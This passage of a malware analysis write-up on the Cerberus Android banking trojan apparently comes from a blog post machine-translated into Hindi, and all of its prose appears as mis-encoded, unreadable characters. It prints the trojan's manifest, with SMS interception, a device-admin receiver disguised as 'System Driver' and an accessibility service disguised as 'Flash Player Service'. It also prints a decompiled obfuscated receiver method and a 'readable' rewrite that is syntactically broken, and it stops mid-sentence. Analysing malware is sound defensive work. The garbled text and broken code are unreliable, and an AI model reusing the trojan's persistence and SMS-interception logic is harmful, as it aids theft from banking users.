
рдирд╛рдХ рдкрд░ 2020 рдФрд░ рдЖрдЬ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдПрдВрдбреНрд░реЙрдЗрдб рд╕рдВрд╕реНрдХрд░рдг 9.0 рдкрд╛рдИ рд╣реИ, рдЬрд╣рд╛рдВ Google рдЫрд╛рддреА рдореЗрдВ рдзрдбрд╝рдХрддрд╛ рд╣реИ рдФрд░ рдХрд╣рддрд╛ рд╣реИ рдХрд┐ рдЙрдирдХрд╛ рдЙрддреНрдкрд╛рдж рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рд▓реЗрдХрд┐рди рдЦрд▓рдирд╛рдпрдХ рд╕реЛрддреЗ рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдПрдВрдбреНрд░реЙрдЗрдб рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ рдореИрд▓рд╡реЗрдпрд░ рдмрдирд╛рддреЗ рд╣реИрдВред
рдмреЗрддрд░рддреАрдм рдврдВрдЧ рд╕реЗ, рдореБрдЭреЗ рдПрдХ рдСрдмрдлреИрдХреНрдЯреЗрдб рдПрдкреАрдХреЗ рдлрд╝рд╛рдЗрд▓ рдорд┐рд▓реА, рдЬреЛ рдХрд┐ "рд╕реЗрд░реНрдмрд░реНрд╕" рдирд╛рдордХ рдПрдХ рдмреИрдВрдХрд┐рдВрдЧ рдореИрд▓рд╡реЗрдпрд░ рд╣реИ, рдФрд░ рдпрд╣ 2019 рдореЗрдВ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛ред
рдЗрд╕ рдмреЛрдЯрдиреЗрдЯ рдХреА рдПрдкреАрдХреЗ рдлрд╝рд╛рдЗрд▓ рдореЗрд░реЗ рдкрд╛рд╕ рдПрдХ рдЕрдорд╛рдиреНрдп рд╕рд░реНрд╡рд░ рдХрдиреЗрдХреНрд╢рди рдкрддреЗ рдХреЗ рд╕рд╛рде рдЖрдИ рдереА, рдЗрд╕рд▓рд┐рдП рдХрд╛рд░реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рддрд░реНрдХ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдЕрд╕реНрдкрд╖реНрдЯреАрдХреГрдд рд░рд╣рд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдмреЙрдЯрдиреЗрдЯ "рдореЙрдбреНрдпреВрд▓рд░" рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╕реАрдзреЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред
рд╡рд┐рд╢реНрд▓реЗрд╖рдг APK рдкреИрдХреЗрдЬ
рдПрдкреАрдХреЗ рдкреИрдХреЗрдЬ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдЯреНрд░реЛрдЬрди рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛:
- рд░рд┐рд╕реАрд╡рд░, рдСрдЯреЛрд░рди + рдЕрд▓рд╛рд░реНрдо;
- рд╕реЗрд╡рд╛, 8 рд╕реЗрдХрдВрдб рдХреЗ рдЕрдВрддрд░рд╛рд▓ рдХреЗ рд╕рд╛рде рдПрдХ рдЪрдХреНрд░ рдореЗрдВ рдЪрд▓рддреА рд╣реИ, рдпрд╣ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ, рд╕реНрдХреНрд░реАрди рд▓реЙрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдФрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдк-рдЕрдк рд╕рдВрджреЗрд╢ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ;
- рд╕реЗрд╡рд╛, рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕реЗрдВрд╕рд░ рд╕реЗ рдбреЗрдЯрд╛ рдПрдХрддреНрд░ рдХрд░рдирд╛, рдЗрд╕рд▓рд┐рдП рдореИрд▓рд╡реЗрдпрд░ рдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рд╢рд╛рд░реАрд░рд┐рдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдкреНрд░рд╛рдкреНрдд рдХреА;
- рд╕реЗрд╡рд╛, рдПрдХ рдЪрдХреНрд░ рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реНрдХреНрд░реАрди рдХреЛ рд▓реЙрдХ рдХрд░рддрд╛ рд╣реИ;
- рд╕реЗрд╡рд╛, рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдХреЗ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ;
- рдЧрддрд┐рд╡рд┐рдзрд┐, WebView рдореЗрдВ html рдХреЛрдб рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рдФрд░ рд╕рд╛рдордЧреНрд░реА рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдмреИрдВрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ;
- рдЧрддрд┐рд╡рд┐рдзрд┐, рдЦрддрд░рдирд╛рдХ рдЕрдиреБрдорддрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред
- рд╡рд░реНрдЧ, рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рдореБрдЦреНрдп рд▓рд╛рдЗрдиреЛрдВ (рд╕реНрдЯреНрд░рд┐рдВрдЧ) рдХреЛ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ
рдЪрд▓рд┐рдП рд╢реБрд░реБрдЖрдд рдХрд░рддреЗ рд╣реИрдВ
рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдкреНрд░рдХрдЯрди рдХрд╛рдлреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ, рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдореИрд▓рд╡реЗрдпрд░ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
рдпрд╣рд╛рдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрд╕рдПрдордПрд╕, рд╕рдВрдкрд░реНрдХ, рдХреЙрд▓, рдЗрдВрдЯрд░рдиреЗрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓рддреА рд╣реИ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реНрд▓реАрдк рдореЛрдб рдореЗрдВ рд╣реИред
рд╣рдо рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреЗрдЦрддреЗ рд╣реИрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрд╕рдПрдордПрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ / рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЦреНрдп рдмрдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдпрд╣ рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЗ рдлреЛрди рдкрд░ рдПрд╕рдПрдордПрд╕ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service>
рдФрд░ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рд░рд┐рд╕реАрд╡рд░, рдпрд╣ рдСрдЯреЛрд╕реНрдЯрд╛рд░реНрдЯ рд╕реЗрд╡рд╛рдУрдВ, рдФрд░ рдЕрд╡рд░реЛрдзрди рдПрд╕рдПрдордПрд╕ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░, рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рдмрд╣реБрдд рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ (рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдкрд░, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдмрд╕ "рдбрд┐рд▓реАрдЯ" рдмрдЯрди рдирд╣реАрдВ рд╣реЛрдЧрд╛), рд╕рд╛рде рд╣реА рдпреЗ рдЕрдзрд┐рдХрд╛рд░ рдЖрдкрдХреЛ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд╕рдм рдХреБрдЫ рд╣рдЯрд╛рдиреЗ рдФрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВрдЧреЗред
<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver>
рдЦреИрд░, рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕рд░реНрд╡рд┐рд╕ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдореИрд▓рд╡реЗрдпрд░ рд╕реНрдХреНрд░реАрди рдкрд░ рд╕реНрд╡рдпрдВ рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХреЗ, рдФрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕рд╣рд┐рдд рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕реНрд╡рдпрдВ рджреЗ рд╕рдХреЗред рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рд╣рдорд▓рд╛рд╡рд░ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рддреЗ рд╣реИрдВред
<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service>
рдЦреИрд░, рдмрд╛рдХреА рд╕реЗрд╡рд╛рдПрдВ рдФрд░ рдЧрддрд┐рд╡рд┐рдзрд┐рдпрд╛рдБ рдЬреЛ рдПрдХ рд╡реИрдз рдорд╛рд▓рд╡рд░реА рд╕рд░реНрд╡рд░ рдкрддреЗ рдХреЗ рдмрд┐рдирд╛ рдХрдо рд░реБрдЪрд┐ рдХреА рд╣реИрдВред
<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдореИрд▓рд╡реЗрдпрд░ рдХреБрдЫ рднреА рдЕрд▓реМрдХрд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдПрдВрдбреНрд░реЙрдЗрдб рдкрд░ рдХрд┐рд╕реА рднреА 0-рджрд┐рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдкреАрдбрд╝рд┐рдд рд╕реЗ рдПрдХ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдЕрдм рдФрд░ рдирд╣реАрдВ, рдлрд┐рд░ рдореИрд▓рд╡реЗрдпрд░ рдЦреБрдж рд╣реА рд╕рдм рдХреБрдЫ рдХрд░реЗрдЧрд╛ред
Google рдХреЛ рдЧреИрд░-рдкреНрд▓реЗ рдРрдкреНрд╕ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдПрдкреАрдЖрдИ рдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
рд░рд┐рд╕реАрд╡рд░
рдЗрд╕ рд╡рд░реНрдЧ рдХрд╛ рдХреЛрдб рдмрд╛рдзрд┐рдд рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЗрд╕реЗ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рд╕реЗ рдирд╣реАрдВ рд░реЛрдХрддрд╛ рд╣реИред
рдУрдлрд╝реНрдлрд╝реБрд╕реЗрдЯреЗрдб рдХреЛрдб public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } }
рдФрд░ рдЕрдм рдХреЛрдб рдкрд░ рдереЛрдбрд╝рд╛ рд╕реНрдкрд╖реНрдЯреАрдХрд░рдгред
рдорд╛рд▓рд╡рд╛рд░реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ XML рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛
/data/data/package_name/sared_prefs/Settings.xml рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ ReadXML - рд╕реЗрдЯрд┐рдВрдЧ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ SaveXML - рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдмреВрд▓рд┐рдпрди DozeMode - рдЪреЗрдХ рдЕрдЧрд░ Doze рдореЛрдб рд╕рдХреНрд╖рдо рд╣реИ
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╡рд░реНрдЧ Service_fa рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ - рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рднреМрддрд┐рдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ (рдХрджрдо, рдлреЛрди рдХреЛ рд╣рд┐рд▓рд╛рдирд╛, рдЖрджрд┐)
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╡рд░реНрдЧ Service_server рд╕рд░реНрд╡рд░ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ - рд╕реЗрд╡рд╛ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рддрд╛ рд╣реИ
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╡рд░реНрдЧ Service_event_loop рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ - рдПрдХ рд╕реЗрд╡рд╛ рдЬреЛ malvari рдХреЗ рдХреБрдЫ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдирдВрдд рд▓реВрдк рдореЗрдВ рдЪрд▓рддреА рд╣реИ
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╢реВрдиреНрдп startOffDozeMode - рдбреЛрдЬрд╝ рдореЛрдб рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХрд╛ рдЕрдиреБрд░реЛрдз
- public void startAlarm - рд╣рд░ 10 рд╕реЗрдХрдВрдб рдореЗрдВ рд░рд┐рд╕реАрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВ
- public void interceptionSMS - рдПрд╕рдПрдордПрд╕ рдЕрд╡рд░реЛрдзрди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдмреВрд▓рд┐рдпрди isAccessibilityService - рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдзрд┐ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдпреЛрдЧреНрдпрддрд╛ рд╕реЗрд╡рд╛ рд╕рдХреНрд╖рдо рд╣реИ рдпрд╛ рдирд╣реАрдВ
- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдмреВрд▓рд┐рдпрди рд╕реАрдЖрдИрдПрд╕ - рд╕реАрдЖрдИрдПрд╕ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рджреЗрд╢реЛрдВ рдореЗрдВ рдорд╛рд▓рд╡рд╛рд░реА рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рд╡рд╛рд▓реА рдПрдХ рд╡рд┐рдзрд┐ рд╣реИ, рдЕрд░реНрдерд╛рддреН: ua, ru, by, tj, uz, tm, az, am, kz, kg рдФрд░ md (рджреЗрд╢реЛрдВ рдХреЗ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдирд╛рдо)
рдореИрдВрдиреЗ рдЙрдкрд░реНрдпреБрдХреНрдд рдХреЛрдб рдХреЛ рдЕрдзрд┐рдХ рдкрдардиреАрдп рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рдореЗрдВ рд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА:
рдкрдардиреАрдп рдХреЛрдб public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent);
рдЗрд╕рд▓рд┐рдП рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХрдИ рдкрд╛рдардХреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдЕрдзрд┐рдХ рд╕рдордЭ рдореЗрдВ рдЖ рдЧрдпрд╛ рд╣реИред
рд░рд┐рд╕реАрд╡рд░ рдХреЗ рдкрд╛рд╕ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 3 рдЯреНрд░рд┐рдЧрд░ рд╣реИрдВ, рдЬреЛ рдХрд┐ рдЬрдм рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд░рд┐рдмреВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрд╕рдПрдордПрд╕ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдЬрдм рдЕрд▓рд╛рд░реНрдорди рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред
рд░рд┐рд╕реАрд╡рд░ рдиреЗ рднреА рд▓реЙрдиреНрдЪ рдХреА 3 рд╕реЗрд╡рд╛рдПрдВ:
